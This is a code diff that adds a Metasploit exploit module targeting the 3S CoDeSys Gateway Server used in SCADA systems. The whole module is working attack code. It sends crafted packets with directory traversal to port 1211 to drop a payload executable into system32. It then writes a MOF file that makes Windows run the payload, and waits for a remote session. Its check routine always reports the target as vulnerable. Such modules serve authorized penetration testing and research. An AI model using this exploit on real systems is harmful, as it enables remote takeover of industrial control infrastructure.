Added CoDeSyS Gateway.exe Server remote execution via arbitrary file creation

modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb

@@ -0,0 +1,109 @@
+#!/usr/bin/env ruby
+
+require 'msf/core'
+class Metasploit3 < Msf::Exploit::Remote
+    
+    Rank = ExcellentRanking
+    include Msf::Exploit::EXE
+    include Msf::Exploit::FileDropper
+    include Msf::Exploit::Remote::Tcp
+    include Msf::Exploit::WbemExec
+    
+    def initialize(info = {})
+        super(update_info(info,
+                          'Name' => 'SCADA 3S CoDeSys Gateway Server Remote Execution',
+                          'Description' => %q{
+                            This module exploits arbitrary file creation to execute a mof file
+                            gaining remote execution within the SCADA system
+                            },
+                          'Author' =>
+                                [
+                                    'Aaron Portnoy <aaron@exodusintel.com>',
+                                    'Enrique Sanchez <esanchez@accuvant.com>'
+                                   ],
+                          'License' => 'MSF_LICENSE',
+                          'References' =>
+                                [
+                                    ['Exodus Intel Training', '02-2013']
+                                ],
+                          'Platform' => 'win',
+                          'Targets' =>
+                            [
+                                ['Windows Universal', { }]
+                            ],
+                          'DefaultTarget' => 0
+                          ))
+        
+        register_options(
+            [
+                Opt::RPORT(1211),
+            ], self.class
+        )
+    end
+        
+    def check
+        return Exploit::CheckCode::Vulnerable
+    end
+
+    ##
+    # upload_file(remote_filepath, remote_filename, local_filedata)
+    #
+    # remote_filepath: Remote filepath where the file will be uploaded
+    # remote_filename: Remote name of the file to be executed ie. boot.ini
+    # local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
+        
+    def upload_file(remote_filepath, remote_filename, local_filedata = null)
+        magic_code = "\xdd\xdd"
+        opcode = [6].pack('L')
+            
+        # We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
+        file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
+        print_debug("File to upload: #{file}")    
+        pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
+        print_debug(pkt_size)
+        
+         # Magic_code  + packing + size
+        pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')
+        
+        tmp_pkt = opcode << file
+        tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
+        pkt << tmp_pkt
+        
+        print_status("Starting upload of file #{remote_filename}")
+        connect
+        sock.put(pkt)
+        disconnect
+        
+        print_status("File uploaded")
+    end
+        
+    def remove_file
+    end
+        
+    def read_file
+    end
+        
+    def exploit
+        print_status("- Attempting to communicate with SCADA system #{rhost} on port #{rport}")
+        
+        # We create an exe payload, we have to get remote execution in 2 steps
+        exe = generate_payload_exe
+        exe_name = Rex::Text::rand_text_alpha(8) + ".exe"
+        upload_file("windows\\system32\\", exe_name, exe)
+        
+        # We create the mof file and upload (second step)
+        mof_name = Rex::Text::rand_text_alpha(8) + ".mof"
+        mof = generate_mof(mof_name, exe_name)
+        upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)
+        
+        print_status("Everything is ready, waiting for a session ... ")
+        handler
+        
+        #Taken from the spooler exploit writen byt jduck and HDMoore
+        cnt = 1
+        while session_created? == false and cnt < 25
+            ::IO.select(nil, nil, nil, 0.25)
+            cnt += 1
+        end
+    end
+end